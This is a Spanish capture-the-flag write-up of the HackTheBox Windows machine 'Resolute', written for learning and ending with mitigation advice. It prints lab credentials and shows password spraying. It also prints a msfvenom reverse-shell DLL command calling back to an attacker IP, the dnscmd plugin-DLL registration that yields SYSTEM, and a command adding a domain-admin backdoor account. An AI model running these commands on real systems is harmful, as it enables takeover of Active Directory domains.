Resolute

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Windows | Medium | 07 Deciembre 2019 | egre55 |
Escaneo de puertos
nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.10.169
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-17 21:38 -03
Initiating SYN Stealth Scan at 21:38
Scanning 10.10.10.169 [65535 ports]
Discovered open port 53/tcp on 10.10.10.169
Discovered open port 445/tcp on 10.10.10.169
Discovered open port 139/tcp on 10.10.10.169
Discovered open port 135/tcp on 10.10.10.169
Discovered open port 47001/tcp on 10.10.10.169
Discovered open port 49668/tcp on 10.10.10.169
Discovered open port 49676/tcp on 10.10.10.169
Discovered open port 51638/tcp on 10.10.10.169
Discovered open port 49677/tcp on 10.10.10.169
Discovered open port 9389/tcp on 10.10.10.169
Discovered open port 49688/tcp on 10.10.10.169
Discovered open port 3269/tcp on 10.10.10.169
Discovered open port 5985/tcp on 10.10.10.169
Discovered open port 49664/tcp on 10.10.10.169
Discovered open port 49671/tcp on 10.10.10.169
Discovered open port 49665/tcp on 10.10.10.169
Discovered open port 3268/tcp on 10.10.10.169
Discovered open port 389/tcp on 10.10.10.169
Discovered open port 49908/tcp on 10.10.10.169
Discovered open port 88/tcp on 10.10.10.169
Discovered open port 464/tcp on 10.10.10.169
Discovered open port 593/tcp on 10.10.10.169
Discovered open port 49666/tcp on 10.10.10.169
Discovered open port 636/tcp on 10.10.10.169
Completed SYN Stealth Scan at 21:39, 21.44s elapsed (65535 total ports)
Nmap scan report for 10.10.10.169
Host is up, received user-set (0.28s latency).
Scanned at 2025-04-17 21:38:56 -03 for 22s
Not shown: 64471 closed tcp ports (reset), 1040 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49671/tcp open unknown syn-ack ttl 127
49676/tcp open unknown syn-ack ttl 127
49677/tcp open unknown syn-ack ttl 127
49688/tcp open unknown syn-ack ttl 127
49908/tcp open unknown syn-ack ttl 127
51638/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.55 seconds
Raw packets sent: 104419 (4.594MB) | Rcvd: 65718 (2.629MB)
Enumeración de versión y servicio
# Nmap 7.95 scan initiated Thu Apr 17 21:39:40 2025 as: /usr/lib/nmap/nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49671,49676,49677,49688,49908,51638 -oN servicesScan 10.10.10.169
Nmap scan report for 10.10.10.169 (10.10.10.169)
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-18 00:48:14Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49908/tcp open msrpc Microsoft Windows RPC
51638/tcp closed unknown
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 17 21:44:59 2025 -- 1 IP address (1 host up) scanned in 319.61 seconds
Explotación inicial
echo "10.10.10.169 Resolute.megabank.local megabank.local" >> /etc/hosts
La contraseña no es valida para el usuario marko
.
Realizamos un password spraying con esa contraseña.
La contraseña es valida para la usuario melanie.
Enumerando desde la raíz C:
utilizando dir -force
para mostrar directorios ocultos, encontramos el archivo C:PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
Descubrimos las credenciales:
ryan:Serv3r4Admin4cc123!
Nos conectamos por winrm
y leemos el archivo note.txt
ldapsearch -H ldap://10.10.10.169 -D 'melanie@megabank.local' -w 'Welcome123!' -x -b "DC=MEGABANK,DC=LOCAL" '(&(objectClass=Person)(samaccountname=ryan))' '*'
Escalación de privilegios (root / SYSTEM)
El usuario ryan
pertenece al grupo DnsAdmins
.
Los usuarios que son miembros del grupo ‘DnsAdmins’ tienen la capacidad de abusar de una característica del protocolo de gestión DNS de Microsoft para hacer que el servidor DNS cargue cualquier DLL especificada. El servicio que a su vez, ejecuta la DLL se realiza en el contexto de SYSTEM y podría utilizarse en un controlador de dominio (desde donde se ejecuta DNS normalmente) para obtener privilegios de administrador de dominio.
PowerShell
Get-ADGroupMember -Identity "DnsAdmins"
Powerview
Get-NetGroupMember -Identity "DNSAdmins"
net
net user ryan /domain
Explotación
- Creación de la DLL maliciosa
msfvenom
puede ser utilizado para crear una DLL maliciosa que, cuando es ejecutada por DNS se conectará de nuevo a la máquina del atacante en el contexto de SYSTEM en el Domain Controller.
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=4444 -f dll > exploit.dll
- Creamos un recurso compartido con
impacket-smbserver
impacket-smbserver -smb2support sharedFolder .
- Registrar la DLL.
Una vez que la DLL maliciosa se ha cargado en el objetivo, se puede utilizar el siguiente comando para registrar la DLL.
dnscmd.exe <DCName> /config /serverlevelplugindll <PathToDLL>
cmd /c dnscmd.exe localhost /config /serverlevelplugindll \\10.10.14.11\Share\exploit.dll
dnscmd.exe
: Es una herramienta de línea de comandos utilizada para administrar y configurar servidores DNS en entornos de Windows.resolute
: Es el nombre del servidor DNS al que se enviará el comando. En este caso, “resolute” es el nombre de ejemplo del servidor al que se desea enviar la configuración./config
: Indica que se está realizando una operación de configuración en el servidor DNS./serverlevelplugindll
: Este parámetro especifica que se está configurando un complemento DLL a nivel de servidor en el servidor DNS. Los complementos DLL pueden proporcionar funcionalidades adicionales al servidor DNS.-
C:\Users\Ryan\Documents\exploit.dll
: Esta es la ruta de la DLL que se está intentando cargar como complemento en el servidor DNS. En este caso, se está especificando la ruta completa del archivo DLL llamado “exploit.dll” ubicado en la carpeta “C:\Users\Moe\Documents”. -
Escucha con
netcat
(Atacante) En el sistema del atacante se ha configurado una escucha de netcat en el puerto especificado anteriormente en el comando msfvenom.
rlwrap nc -lnvp 4444
- Detener e iniciar el servicio DNS A partir de aquí, detener el servicio DNS e iniciarlo de nuevo generará un intérprete de comandos SYSTEM para el oyente netcat.
sc.exe stop dns
sc.exe start dns
- Persistencia Desde aquí se puede conseguir la persistencia de Administrador de Dominio. Se puede crear un nuevo usuario con privilegios de Administrador de Dominio.
net user hacker Password123 /add && net group "Domain Admins" /add hacker
Limpieza
dnscmd.exe RESOLUTE /config /serverlevelplugindll ""
Mitigación
Asegúrese de que sólo las cuentas de administrador son miembros del grupo DNSAdmins
y asegúrese de que sólo administran DNS desde sistemas de administración. Incluya DNSAdmins en la lista de grupos cuya pertenencia se examina cuidadosamente.
Revise regularmente los permisos de objetos del servidor DNS para cualquier grupo/cuenta que no debería tener acceso privilegiado.
Restringir la comunicación RPC a los DCs sólo a subredes admin.